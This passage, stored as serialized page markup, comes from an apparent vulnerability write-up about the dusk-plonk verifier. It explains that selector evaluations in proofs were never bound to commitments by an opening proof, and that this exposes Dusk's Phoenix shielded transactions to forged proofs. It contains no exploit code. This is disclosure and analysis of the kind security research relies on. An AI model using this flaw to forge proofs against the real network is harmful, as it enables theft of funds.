opening proofs (",{"type":23,"tag":209,"props":144574,"children":144576},{"className":144575},[4076,4077],[144577],{"type":23,"tag":213,"props":144578,"children":144580},{"className":144579},[4082],[144581],{"type":23,"tag":213,"props":144582,"children":144584},{"className":144583,"ariaHidden":1710},[4087],[144585],{"type":23,"tag":213,"props":144586,"children":144588},{"className":144587},[4092],[144589,144593,144598,144603,144608],{"type":23,"tag":213,"props":144590,"children":144592},{"className":144591,"style":4205},[4097],[],{"type":23,"tag":213,"props":144594,"children":144596},{"className":144595},[4103,21637],[144597],{"type":28,"value":36},{"type":23,"tag":213,"props":144599,"children":144601},{"className":144600},[21766],[144602],{"type":28,"value":265},{"type":23,"tag":213,"props":144604,"children":144606},{"className":144605,"style":113657},[4103,21637],[144607],{"type":28,"value":113660},{"type":23,"tag":213,"props":144609,"children":144611},{"className":144610},[21788],[144612],{"type":28,"value":2121},{"type":28,"value":424},{"type":23,"tag":209,"props":144615,"children":144617},{"className":144616},[4076,4077],[144618],{"type":23,"tag":213,"props":144619,"children":144621},{"className":144620},[4082],[144622],{"type":23,"tag":213,"props":144623,"children":144625},{"className":144624,"ariaHidden":1710},[4087],[144626],{"type":23,"tag":213,"props":144627,"children":144629},{"className":144628},[4092],[144630,144634,144639,144644,144649],{"type":23,"tag":213,"props":144631,"children":144633},{"className":144632,"style":4205},[4097],[],{"type":23,"tag":213,"props":144635,"children":144637},{"className":144636},[4103,21637],[144638],{"type":28,"value":3319},{"type":23,"tag":213,"props":144640,"children":144642},{"className":144641},[21766],[144643],{"type":28,"value":265},{"type":23,"tag":213,"props":144645,"children":144647},{"className":144646,"style":113657},[4103,21637],[144648],{"type":28,"value":113660},{"type":23,"tag":213,"props":144650,"children":144652},{"className":144651},[21788],[144653],{"type":28,"value":2121},{"type":28,"value":424},{"type":23,"tag":209,"props":144656,"children":144658},{"className":144657},[4076,4077],[144659],{"type":23,"tag":213,"props":144660,"children":144662},{"className":144661},[4082],[144663],{"type":23,"tag":213,"props":144664,"children":144666},{"className":144665,"ariaHidden":1710},[4087],[144667],{"type":23,"tag":213,"props":144668,"children":144670},{"className":144669},[4092],[144671,144675,144733,144738,144743],{"type":23,"tag":213,"props":144672,"children":144674},{"className":144673,"style":4205},[4097],[],{"type":23,"tag":213,"props":144676,"children":144678},{"className":144677},[4103],[144679,144685],{"type":23,"tag":213,"props":144680,"children":144682},{"className":144681,"style":93586},[4103,21637],[144683],{"type":28,"value":144684},"σ",{"type":23,"tag":213,"props":144686,"children":144688},{"className":144687},[4120],[144689],{"type":23,"tag":213,"props":144690,"children":144692},{"className":144691},[4125,21691],[144693,144722],{"type":23,"tag":213,"props":144694,"children":144696},{"className":144695},[4130],[144697,144717],{"type":23,"tag":213,"props":144698,"children":144700},{"className":144699,"style":93152},[4135],[144701],{"type":23,"tag":213,"props":144702,"children":144703},{"style":93633},[144704,144708],{"type":23,"tag":213,"props":144705,"children":144707},{"className":144706,"style":4145},[4144],[],{"type":23,"tag":213,"props":144709,"children":144711},{"className":144710},[4150,4151,4152,4153],[144712],{"type":23,"tag":213,"props":144713,"children":144715},{"className":144714},[4103,4153],[144716],{"type":28,"value":4106},{"type":23,"tag":213,"props":144718,"children":144720},{"className":144719},[21794],[144721],{"type":28,"value":21797},{"type":23,"tag":213,"props":144723,"children":144725},{"className":144724},[4130],[144726],{"type":23,"tag":213,"props":144727,"children":144729},{"className":144728,"style":93183},[4135],[144730],{"type":23,"tag":213,"props":144731,"children":144732},{},[],{"type":23,"tag":213,"props":144734,"children":144736},{"className":144735},[21766],[144737],{"type":28,"value":265},{"type":23,"tag":213,"props":144739,"children":144741},{"className":144740,"style":113657},[4103,21637],[144742],{"type":28,"value":113660},{"type":23,"tag":213,"props":144744,"children":144746},{"className":144745},[21788],[144747],{"type":28,"value":2121},{"type":28,"value":424},{"type":23,"tag":209,"props":144750,"children":144752},{"className":144751},[4076,4077],[144753],{"type":23,"tag":213,"props":144754,"children":144756},{"className":144755},[4082],[144757],{"type":23,"tag":213,"props":144758,"children":144760},{"className":144759,"ariaHidden":1710},[4087],[144761],{"type":23,"tag":213,"props":144762,"children":144764},{"className":144763},[4092],[144765,144769,144774,144779,144784,144790],{"type":23,"tag":213,"props":144766,"children":144768},{"className":144767,"style":4205},[4097],[],{"type":23,"tag":213,"props":144770,"children":144772},{"className":144771},[4103,21637],[144773],{"type":28,"value":36},{"type":23,"tag":213,"props":144775,"children":144777},{"className":144776},[21766],[144778],{"type":28,"value":265},{"type":23,"tag":213,"props":144780,"children":144782},{"className":144781,"style":113657},[4103,21637],[144783],{"type":28,"value":113660},{"type":23,"tag":213,"props":144785,"children":144787},{"className":144786,"style":93586},[4103,21637],[144788],{"type":28,"value":144789},"ω",{"type":23,"tag":213,"props":144791,"children":144793},{"className":144792},[21788],[144794],{"type":28,"value":2121},{"type":28,"value":144796},"), which are safe because the opening binds them to previously committed polynomials. A third category consists of verifier-key commitments used directly in the linearization multiscalar multiplication (",{"type":23,"tag":209,"props":144798,"children":144800},{"className":144799},[4076,4077],[144801],{"type":23,"tag":213,"props":144802,"children":144804},{"className":144803},[4082],[144805],{"type":23,"tag":213,"props":144806,"children":144808},{"className":144807,"ariaHidden":1710},[4087],[144809],{"type":23,"tag":213,"props":144810,"children":144812},{"className":144811},[4092],[144813,144817,144822,144879],{"type":23,"tag":213,"props":144814,"children":144816},{"className":144815,"style":4205},[4097],[],{"type":23,"tag":213,"props":144818,"children":144820},{"className":144819},[21766],[144821],{"type":28,"value":3821},{"type":23,"tag":213,"props":144823,"children":144825},{"className":144824},[4103],[144826,144831],{"type":23,"tag":213,"props":144827,"children":144829},{"className":144828,"style":93586},[4103,21637],[144830],{"type":28,"value":93589},{"type":23,"tag":213,"props":144832,"children":144834},{"className":144833},[4120],[144835],{"type":23,"tag":213,"props":144836,"children":144838},{"className":144837},[4125,21691],[144839,144868],{"type":23,"tag":213,"props":144840,"children":144842},{"className":144841},[4130],[144843,144863],{"type":23,"tag":213,"props":144844,"children":144846},{"className":144845,"style":142654},[4135],[144847],{"type":23,"tag":213,"props":144848,"children":144849},{"style":93633},[144850,144854],{"type":23,"tag":213,"props":144851,"children":144853},{"className":144852,"style":4145},[4144],[],{"type":23,"tag":213,"props":144855,"children":144857},{"className":144856},[4150,4151,4152,4153],[144858],{"type":23,"tag":213,"props":144859,"children":144861},{"className":144860,"style":95108},[4103,21637,4153],[144862],{"type":28,"value":95111},{"type":23,"tag":213,"props":144864,"children":144866},{"className":144865},[21794],[144867],{"type":28,"value":21797},{"type":23,"tag":213,"props":144869,"children":144871},{"className":144870},[4130],[144872],{"type":23,"tag":213,"props":144873,"children":144875},{"className":144874,"style":93183},[4135],[144876],{"type":23,"tag":213,"props":144877,"children":144878},{},[],{"type":23,"tag":213,"props":144880,"children":144882},{"className":144881},[21788],[144883],{"type":28,"value":15470},{"type":28,"value":424},{"type":23,"tag":209,"props":144886,"children":144888},{"className":144887},[4076,4077],[144889],{"type":23,"tag":213,"props":144890,"children":144892},{"className":144891},[4082],[144893],{"type":23,"tag":213,"props":144894,"children":144896},{"className":144895,"ariaHidden":1710},[4087],[144897],{"type":23,"tag":213,"props":144898,"children":144900},{"className":144899},[4092],[144901,144905,144910,144967],{"type":23,"tag":213,"props":144902,"children":144904},{"className":144903,"style":4205},[4097],[],{"type":23,"tag":213,"props":144906,"children":144908},{"className":144907},[21766],[144909],{"type":28,"value":3821},{"type":23,"tag":213,"props":144911,"children":144913},{"className":144912},[4103],[144914,144919],{"type":23,"tag":213,"props":144915,"children":144917},{"className":144916,"style":93586},[4103,21637],[144918],{"type":28,"value":93589},{"type":23,"tag":213,"props":144920,"children":144922},{"className":144921},[4120],[144923],{"type":23,"tag":213,"props":144924,"children":144926},{"className":144925},[4125,21691],[144927,144956],{"type":23,"tag":213,"props":144928,"children":144930},{"className":144929},[4130],[144931,144951],{"type":23,"tag":213,"props":144932,"children":144934},{"className":144933,"style":142654},[4135],[144935],{"type":23,"tag":213,"props":144936,"children":144937},{"style":93633},[144938,144942],{"type":23,"tag":213,"props":144939,"children":144941},{"className":144940,"style":4145},[4144],[],{"type":23,"tag":213,"props":144943,"children":144945},{"className":144944},[4150,4151,4152,4153],[144946],{"type":23,"tag":213,"props":144947,"children":144949},{"className":144948,"style":93100},[4103,21637,4153],[144950],{"type":28,"value":115419},{"type":23,"tag":213,"props":144952,"children":144954},{"className":144953},[21794],[144955],{"type":28,"value":21797},{"type":23,"tag":213,"props":144957,"children":144959},{"className":144958},[4130],[144960],{"type":23,"tag":213,"props":144961,"children":144963},{"className":144962,"style":93183},[4135],[144964],{"type":23,"tag":213,"props":144965,"children":144966},{},[],{"type":23,"tag":213,"props":144968,"children":144970},{"className":144969},[21788],[144971],{"type":28,"value":15470},{"type":28,"value":424},{"type":23,"tag":209,"props":144974,"children":144976},{"className":144975},[4076,4077],[144977],{"type":23,"tag":213,"props":144978,"children":144980},{"className":144979},[4082],[144981],{"type":23,"tag":213,"props":144982,"children":144984},{"className":144983,"ariaHidden":1710},[4087],[144985],{"type":23,"tag":213,"props":144986,"children":144988},{"className":144987},[4092],[144989,144993,144998,145055],{"type":23,"tag":213,"props":144990,"children":144992},{"className":144991,"style":4205},[4097],[],{"type":23,"tag":213,"props":144994,"children":144996},{"className":144995},[21766],[144997],{"type":28,"value":3821},{"type":23,"tag":213,"props":144999,"children":145001},{"className":145000},[4103],[145002,145007],{"type":23,"tag":213,"props":145003,"children":145005},{"className":145004,"style":93586},[4103,21637],[145006],{"type":28,"value":144684},{"type":23,"tag":213,"props":145008,"children":145010},{"className":145009},[4120],[145011],{"type":23,"tag":213,"props":145012,"children":145014},{"className":145013},[4125,21691],[145015,145044],{"type":23,"tag":213,"props":145016,"children":145018},{"className":145017},[4130],[145019,145039],{"type":23,"tag":213,"props":145020,"children":145022},{"className":145021,"style":93152},[4135],[145023],{"type":23,"tag":213,"props":145024,"children":145025},{"style":93633},[145026,145030],{"type":23,"tag":213,"props":145027,"children":145029},{"className":145028,"style":4145},[4144],[],{"type":23,"tag":213,"props":145031,"children":145033},{"className":145032},[4150,4151,4152,4153],[145034],{"type":23,"tag":213,"props":145035,"children":145037},{"className":145036},[4103,4153],[145038],{"type":28,"value":17578},{"type":23,"tag":213,"props":145040,"children":145042},{"className":145041},[21794],[145043],{"type":28,"value":21797},{"type":23,"tag":213,"props":145045,"children":145047},{"className":145046},[4130],[145048],{"type":23,"tag":213,"props":145049,"children":145051},{"className":145050,"style":93183},[4135],[145052],{"type":23,"tag":213,"props":145053,"children":145054},{},[],{"type":23,"tag":213,"props":145056,"children":145058},{"className":145057},[21788],[145059],{"type":28,"value":15470},{"type":28,"value":145061},"), which are safe because the verifier never trusts a bare field element for these; it uses the commitment itself.",{"type":23,"tag":24,"props":145063,"children":145064},{},[145065],{"type":28,"value":145066},"Any term that falls outside those three categories is attacker-controlled by construction.",{"type":23,"tag":18845,"props":145068,"children":145069},{},[],{"type":23,"tag":47,"props":145071,"children":145073},{"id":145072},"where-dusk-plonk-differs-from-textbook-plonk",[145074],{"type":28,"value":145075},"Where dusk-plonk differs from textbook PLONK",{"type":23,"tag":24,"props":145077,"children":145078},{},[145079,145088,145090,145095,145097,145127],{"type":23,"tag":36,"props":145080,"children":145082},{"href":141954,"rel":145081},[40],[145083],{"type":23,"tag":209,"props":145084,"children":145086},{"className":145085},[],[145087],{"type":28,"value":141958},{"type":28,"value":145089}," is not a literal transcription of the 2019 PLONK paper. It extends the arithmetic gate with a fourth wire ",{"type":23,"tag":209,"props":145091,"children":145093},{"className":145092},[],[145094],{"type":28,"value":70617},{"type":28,"value":145096},", adds custom widgets for range, logic, and elliptic-curve operations, uses shifted evaluations at ",{"type":23,"tag":209,"props":145098,"children":145100},{"className":145099},[4076,4077],[145101],{"type":23,"tag":213,"props":145102,"children":145104},{"className":145103},[4082],[145105],{"type":23,"tag":213,"props":145106,"children":145108},{"className":145107,"ariaHidden":1710},[4087],[145109],{"type":23,"tag":213,"props":145110,"children":145112},{"className":145111},[4092],[145113,145117,145122],{"type":23,"tag":213,"props":145114,"children":145116},{"className":145115,"style":110941},[4097],[],{"type":23,"tag":213,"props":145118,"children":145120},{"className":145119,"style":113657},[4103,21637],[145121],{"type":28,"value":113660},{"type":23,"tag":213,"props":145123,"children":145125},{"className":145124,"style":93586},[4103,21637],[145126],{"type":28,"value":144789},{"type":28,"value":145128},", and heavily batches KZG openings. None of that is exotic by modern PLONK standards, but it does make the verifier harder to reason about than the minimal paper presentation.",{"type":23,"tag":24,"props":145130,"children":145131},{},[145132,145134,145139,145140,145145,145147,145153,145155,145162],{"type":28,"value":145133},"The important part for this bug is the boundary between ",{"type":23,"tag":95,"props":145135,"children":145136},{},[145137],{"type":28,"value":145138},"public circuit data",{"type":28,"value":1466},{"type":23,"tag":95,"props":145141,"children":145142},{},[145143],{"type":28,"value":145144},"prover claims about that data at the random challenge point",{"type":28,"value":145146},". Parallel implementations avoid this ambiguity by keeping selector polynomials strictly out of the prover's hands. For example, Consensys' gnark (one of the most widely deployed PLONK implementations) never asks the prover for selector evaluations at all. Instead, the verifier incorporates the selector commitments ",{"type":23,"tag":209,"props":145148,"children":145150},{"className":145149},[],[145151],{"type":28,"value":145152},"Ql, Qr, Qm, Qo, Qk",{"type":28,"value":145154}," directly into the ",{"type":23,"tag":36,"props":145156,"children":145159},{"href":145157,"rel":145158},"https://github.com/Consensys/gnark/blob/17b079f1b813d9dafd465202466b09f282b4c5e9/backend/plonk/bls12-381/verify.go#L253-L270",[40],[145160],{"type":28,"value":145161},"linearization multi-scalar multiplication",{"type":28,"value":145163},", ensuring their values are cryptographically bound by construction.",{"type":23,"tag":24,"props":145165,"children":145166},{},[145167,145169,145194],{"type":28,"value":145168},"Dusk's custom widgets were more complex (multiplying selectors with other evaluated terms), so they could not just use a simple linear combination of commitments. Their architecture required evaluating the selectors at ",{"type":23,"tag":209,"props":145170,"children":145172},{"className":145171},[4076,4077],[145173],{"type":23,"tag":213,"props":145174,"children":145176},{"className":145175},[4082],[145177],{"type":23,"tag":213,"props":145178,"children":145180},{"className":145179,"ariaHidden":1710},[4087],[145181],{"type":23,"tag":213,"props":145182,"children":145184},{"className":145183},[4092],[145185,145189],{"type":23,"tag":213,"props":145186,"children":145188},{"className":145187,"style":110941},[4097],[],{"type":23,"tag":213,"props":145190,"children":145192},{"className":145191,"style":113657},[4103,21637],[145193],{"type":28,"value":113660},{"type":28,"value":145195}," and using those scalars. But while they serialized those four selector evaluations into the proof struct, they never actually verified them against the verifier key's commitments through an opening proof.",{"type":23,"tag":24,"props":145197,"children":145198},{},[145199],{"type":28,"value":145200},"The shortest way to see the bug is the graph below: safe values flow through the opening path toward the final pairing check, while the red selector flow enters verifier logic without ever touching an opening proof.",{"type":23,"tag":145202,"props":145203,"children":145204},"dusk-verifier-dependence-graph",{},[],{"type":23,"tag":18845,"props":145206,"children":145207},{},[],{"type":23,"tag":47,"props":145209,"children":145211},{"id":145210},"how-dusk-uses-plonk",[145212],{"type":28,"value":145213},"How Dusk uses PLONK",{"type":23,"tag":24,"props":145215,"children":145216},{},[145217,145223],{"type":23,"tag":36,"props":145218,"children":145220},{"href":141963,"rel":145219},[40],[145221],{"type":28,"value":145222},"Dusk Network",{"type":28,"value":145224}," is a privacy-focused L1 blockchain. Its transaction model has two modes:",{"type":23,"tag":168,"props":145226,"children":145227},{},[145228,145233],{"type":23,"tag":135,"props":145229,"children":145230},{},[145231],{"type":28,"value":145232},"Phoenix (shielded): amounts and participants are hidden using ZK proofs, and every Phoenix transaction carries a PLONK proof that the transaction is valid.",{"type":23,"tag":135,"props":145234,"children":145235},{},[145236],{"type":28,"value":145237},"Moonlight (transparent): standard account-based transactions verified by BLS signatures, with no PLONK involvement.",{"type":23,"tag":24,"props":145239,"children":145240},{},[145241,145243,145254,145256,145267],{"type":28,"value":145242},"At node level, every ",{"type":23,"tag":36,"props":145244,"children":145247},{"href":145245,"rel":145246},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L152-L185",[40],[145248],{"type":23,"tag":209,"props":145249,"children":145251},{"className":145250},[],[145252],{"type":28,"value":145253},"ProtocolTransaction::Phoenix",{"type":28,"value":145255}," goes through ",{"type":23,"tag":36,"props":145257,"children":145260},{"href":145258,"rel":145259},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/verifier.rs#L71-L82",[40],[145261],{"type":23,"tag":209,"props":145262,"children":145264},{"className":145263},[],[145265],{"type":28,"value":145266},"verify_proof_with_version()",{"type":28,"value":145268}," during preverification. If that PLONK proof verifies, the transaction is admitted to the mempool and can later be mined into a block. Moonlight-path transactions instead go through BLS signature verification.",{"type":23,"tag":24,"props":145270,"children":145271},{},[145272,145274,145285,145287,145298,145299,145310,145311,145322,145323,145334],{"type":28,"value":145273},"That same Phoenix proof path covers more than simple shielded transfers. Phoenix-path staking, reward withdrawals, unstaking, and Phoenix-to-Moonlight conversion all build a Phoenix transaction via ",{"type":23,"tag":36,"props":145275,"children":145278},{"href":145276,"rel":145277},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L54-L95",[40],[145279],{"type":23,"tag":209,"props":145280,"children":145282},{"className":145281},[],[145283],{"type":28,"value":145284},"phoenix()",{"type":28,"value":145286},", for example in ",{"type":23,"tag":36,"props":145288,"children":145291},{"href":145289,"rel":145290},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L144-L186",[40],[145292],{"type":23,"tag":209,"props":145293,"children":145295},{"className":145294},[],[145296],{"type":28,"value":145297},"phoenix_stake()",{"type":28,"value":424},{"type":23,"tag":36,"props":145300,"children":145303},{"href":145301,"rel":145302},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L240-L298",[40],[145304],{"type":23,"tag":209,"props":145305,"children":145307},{"className":145306},[],[145308],{"type":28,"value":145309},"phoenix_stake_reward()",{"type":28,"value":424},{"type":23,"tag":36,"props":145312,"children":145315},{"href":145313,"rel":145314},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L358-L416",[40],[145316],{"type":23,"tag":209,"props":145317,"children":145319},{"className":145318},[],[145320],{"type":28,"value":145321},"phoenix_unstake()",{"type":28,"value":6580},{"type":23,"tag":36,"props":145324,"children":145327},{"href":145325,"rel":145326},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L481-L539",[40],[145328],{"type":23,"tag":209,"props":145329,"children":145331},{"className":145330},[],[145332],{"type":28,"value":145333},"phoenix_to_moonlight()",{"type":28,"value":145335},". So if Phoenix proof verification is unsound, the entire shielded transaction path is exposed.",{"type":23,"tag":24,"props":145337,"children":145338},{},[145339],{"type":23,"tag":4009,"props":145340,"children":145343},{"alt":145341,"src":145342},"phoenix_moonlight","/posts/dusk-commitment-issues/phoenix_moonlight.svg",[],{"type":23,"tag":24,"props":145345,"children":145346},{},[145347,145349,145355,145357,145364],{"type":28,"value":145348},"The PLONK implementation, ",{"type":23,"tag":36,"props":145350,"children":145353},{"href":145351,"rel":145352},"https://github.com/dusk-network/plonk",[40],[145354],{"type":28,"value":141958},{"type":28,"value":145356},", is a standalone library by the Dusk team. It was among the first PLONK implementations written, with development starting the same year ",{"type":23,"tag":36,"props":145358,"children":145361},{"href":145359,"rel":145360},"https://eprint.iacr.org/archive/2019/953/1566424053.pdf",[40],[145362],{"type":28,"value":145363},"the original paper",{"type":28,"value":145365}," was released.",{"type":23,"tag":24,"props":145367,"children":145368},{},[145369,145371,145377],{"type":28,"value":145370},"The Phoenix transaction PLONK circuit is defined ",{"type":23,"tag":36,"props":145372,"children":145375},{"href":145373,"rel":145374},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L20-L205",[40],[145376],{"type":28,"value":47636},{"type":28,"value":145378},". The circuit enforces the following set of constraints:",{"type":23,"tag":55797,"props":145380,"children":145381},{},[145382,145398],{"type":23,"tag":123051,"props":145383,"children":145384},{},[145385],{"type":23,"tag":123055,"props":145386,"children":145387},{},[145388,145393],{"type":23,"tag":123059,"props":145389,"children":145390},{},[145391],{"type":28,"value":145392},"Circuit check",{"type":23,"tag":123059,"props":145394,"children":145395},{},[145396],{"type":28,"value":145397},"Statement being checked",{"type":23,"tag":123079,"props":145399,"children":145400},{},[145401,145419,145437,145455,145473,145630,145770,145788],{"type":23,"tag":123055,"props":145402,"children":145403},{},[145404,145414],{"type":23,"tag":123086,"props":145405,"children":145406},{},[145407],{"type":23,"tag":36,"props":145408,"children":145411},{"href":145409,"rel":145410},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L106-L126",[40],[145412],{"type":28,"value":145413},"Merkle tree membership",{"type":23,"tag":123086,"props":145415,"children":145416},{},[145417],{"type":28,"value":145418},"Each input note hash is opened against the public Merkle root, so only notes already in the note tree may be spent",{"type":23,"tag":123055,"props":145420,"children":145421},{},[145422,145432],{"type":23,"tag":123086,"props":145423,"children":145424},{},[145425],{"type":23,"tag":36,"props":145426,"children":145429},{"href":145427,"rel":145428},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L70-L79",[40],[145430],{"type":28,"value":145431},"Input-note secret-key authorization",{"type":23,"tag":123086,"props":145433,"children":145434},{},[145435],{"type":28,"value":145436},"The prover knows the secret key controlling each input note",{"type":23,"tag":123055,"props":145438,"children":145439},{},[145440,145450],{"type":23,"tag":123086,"props":145441,"children":145442},{},[145443],{"type":23,"tag":36,"props":145444,"children":145447},{"href":145445,"rel":145446},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L81-L87",[40],[145448],{"type":28,"value":145449},"Nullifier correctness",{"type":23,"tag":123086,"props":145451,"children":145452},{},[145453],{"type":28,"value":145454},"Each nullifier matches the corresponding note key and position",{"type":23,"tag":123055,"props":145456,"children":145457},{},[145458,145468],{"type":23,"tag":123086,"props":145459,"children":145460},{},[145461],{"type":23,"tag":36,"props":145462,"children":145465},{"href":145463,"rel":145464},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L149-L160",[40],[145466],{"type":28,"value":145467},"Output value commitment correctness",{"type":23,"tag":123086,"props":145469,"children":145470},{},[145471],{"type":28,"value":145472},"Each public output commitment matches the secret output value and blinder",{"type":23,"tag":123055,"props":145474,"children":145475},{},[145476,145486],{"type":23,"tag":123086,"props":145477,"children":145478},{},[145479],{"type":23,"tag":36,"props":145480,"children":145483},{"href":145481,"rel":145482},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L167-L178",[40],[145484],{"type":28,"value":145485},"Balance integrity",{"type":23,"tag":123086,"props":145487,"children":145488},{},[145489],{"type":23,"tag":209,"props":145490,"children":145492},{"className":145491},[4076,4077],[145493],{"type":23,"tag":213,"props":145494,"children":145496},{"className":145495},[4082],[145497],{"type":23,"tag":213,"props":145498,"children":145500},{"className":145499,"ariaHidden":1710},[4087],[145501,145541,145581,145613],{"type":23,"tag":213,"props":145502,"children":145504},{"className":145503},[4092],[145505,145509,145514,145518,145528,145532,145537],{"type":23,"tag":213,"props":145506,"children":145508},{"className":145507,"style":4205},[4097],[],{"type":23,"tag":213,"props":145510,"children":145512},{"className":145511,"style":21680},[21673,21678,21679],[145513],{"type":28,"value":108895},{"type":23,"tag":213,"props":145515,"children":145517},{"className":145516,"style":4223},[4184],[],{"type":23,"tag":213,"props":145519,"children":145521},{"className":145520},[4103,28],[145522],{"type":23,"tag":213,"props":145523,"children":145525},{"className":145524},[4103],[145526],{"type":28,"value":145527},"inputs",{"type":23,"tag":213,"props":145529,"children":145531},{"className":145530,"style":4282},[4184],[],{"type":23,"tag":213,"props":145533,"children":145535},{"className":145534},[4287],[145536],{"type":28,"value":3190},{"type":23,"tag":213,"props":145538,"children":145540},{"className":145539,"style":4282},[4184],[],{"type":23,"tag":213,"props":145542,"children":145544},{"className":145543},[4092],[145545,145549,145554,145558,145568,145572,145577],{"type":23,"tag":213,"props":145546,"children":145548},{"className":145547,"style":4205},[4097],[],{"type":23,"tag":213,"props":145550,"children":145552},{"className":145551,"style":21680},[21673,21678,21679],[145553],{"type":28,"value":108895},{"type":23,"tag":213,"props":145555,"children":145557},{"className":145556,"style":4223},[4184],[],{"type":23,"tag":213,"props":145559,"children":145561},{"className":145560},[4103,28],[145562],{"type":23,"tag":213,"props":145563,"children":145565},{"className":145564},[4103],[145566],{"type":28,"value":145567},"outputs",{"type":23,"tag":213,"props":145569,"children":145571},{"className":145570,"style":4185},[4184],[],{"type":23,"tag":213,"props":145573,"children":145575},{"className":145574},[4190],[145576],{"type":28,"value":2703},{"type":23,"tag":213,"props":145578,"children":145580},{"className":145579,"style":4185},[4184],[],{"type":23,"tag":213,"props":145582,"children":145584},{"className":145583},[4092],[145585,145590,145600,145604,145609],{"type":23,"tag":213,"props":145586,"children":145589},{"className":145587,"style":145588},[4097],"height:0.7778em;vertical-align:-0.0833em;",[],{"type":23,"tag":213,"props":145591,"children":145593},{"className":145592},[4103,28],[145594],{"type":23,"tag":213,"props":145595,"children":145597},{"className":145596},[4103],[145598],{"type":28,"value":145599},"fee",{"type":23,"tag":213,"props":145601,"children":145603},{"className":145602,"style":4185},[4184],[],{"type":23,"tag":213,"props":145605,"children":145607},{"className":145606},[4190],[145608],{"type":28,"value":2703},{"type":23,"tag":213,"props":145610,"children":145612},{"className":145611,"style":4185},[4184],[],{"type":23,"tag":213,"props":145614,"children":145616},{"className":145615},[4092],[145617,145621],{"type":23,"tag":213,"props":145618,"children":145620},{"className":145619,"style":115155},[4097],[],{"type":23,"tag":213,"props":145622,"children":145624},{"className":145623},[4103,28],[145625],{"type":23,"tag":213,"props":145626,"children":145628},{"className":145627},[4103],[145629],{"type":28,"value":62017},{"type":23,"tag":123055,"props":145631,"children":145632},{},[145633,145650],{"type":23,"tag":123086,"props":145634,"children":145635},{},[145636,145643,145644],{"type":23,"tag":36,"props":145637,"children":145640},{"href":145638,"rel":145639},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L89-L90",[40],[145641],{"type":28,"value":145642},"Range checks on inputs",{"type":28,"value":1466},{"type":23,"tag":36,"props":145645,"children":145648},{"href":145646,"rel":145647},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L141-L142",[40],[145649],{"type":28,"value":145567},{"type":23,"tag":123086,"props":145651,"children":145652},{},[145653,145655],{"type":28,"value":145654},"All note values lie in ",{"type":23,"tag":209,"props":145656,"children":145658},{"className":145657},[4076,4077],[145659],{"type":23,"tag":213,"props":145660,"children":145662},{"className":145661},[4082],[145663],{"type":23,"tag":213,"props":145664,"children":145666},{"className":145665,"ariaHidden":1710},[4087],[145667,145752],{"type":23,"tag":213,"props":145668,"children":145670},{"className":145669},[4092],[145671,145675,145680,145685,145690,145694,145739,145743,145748],{"type":23,"tag":213,"props":145672,"children":145674},{"className":145673,"style":115412},[4097],[],{"type":23,"tag":213,"props":145676,"children":145678},{"className":145677},[21766],[145679],{"type":28,"value":3821},{"type":23,"tag":213,"props":145681,"children":145683},{"className":145682},[4103],[145684],{"type":28,"value":4116},{"type":23,"tag":213,"props":145686,"children":145688},{"className":145687},[4216],[145689],{"type":28,"value":4219},{"type":23,"tag":213,"props":145691,"children":145693},{"className":145692,"style":4223},[4184],[],{"type":23,"tag":213,"props":145695,"children":145697},{"className":145696},[4103],[145698,145703],{"type":23,"tag":213,"props":145699,"children":145701},{"className":145700},[4103],[145702],{"type":28,"value":3221},{"type":23,"tag":213,"props":145704,"children":145706},{"className":145705},[4120],[145707],{"type":23,"tag":213,"props":145708,"children":145710},{"className":145709},[4125],[145711],{"type":23,"tag":213,"props":145712,"children":145714},{"className":145713},[4130],[145715],{"type":23,"tag":213,"props":145716,"children":145718},{"className":145717,"style":4098},[4135],[145719],{"type":23,"tag":213,"props":145720,"children":145721},{"style":4139},[145722,145726],{"type":23,"tag":213,"props":145723,"children":145725},{"className":145724,"style":4145},[4144],[],{"type":23,"tag":213,"props":145727,"children":145729},{"className":145728},[4150,4151,4152,4153],[145730],{"type":23,"tag":213,"props":145731,"children":145733},{"className":145732},[4103,4153],[145734],{"type":23,"tag":213,"props":145735,"children":145737},{"className":145736},[4103,4153],[145738],{"type":28,"value":29479},{"type":23,"tag":213,"props":145740,"children":145742},{"className":145741,"style":4185},[4184],[],{"type":23,"tag":213,"props":145744,"children":145746},{"className":145745},[4190],[145747],{"type":28,"value":4164},{"type":23,"tag":213,"props":145749,"children":145751},{"className":145750,"style":4185},[4184],[],{"type":23,"tag":213,"props":145753,"children":145755},{"className":145754},[4092],[145756,145760,145765],{"type":23,"tag":213,"props":145757,"children":145759},{"className":145758,"style":4205},[4097],[],{"type":23,"tag":213,"props":145761,"children":145763},{"className":145762},[4103],[145764],{"type":28,"value":4106},{"type":23,"tag":213,"props":145766,"children":145768},{"className":145767},[21788],[145769],{"type":28,"value":15470},{"type":23,"tag":123055,"props":145771,"children":145772},{},[145773,145783],{"type":23,"tag":123086,"props":145774,"children":145775}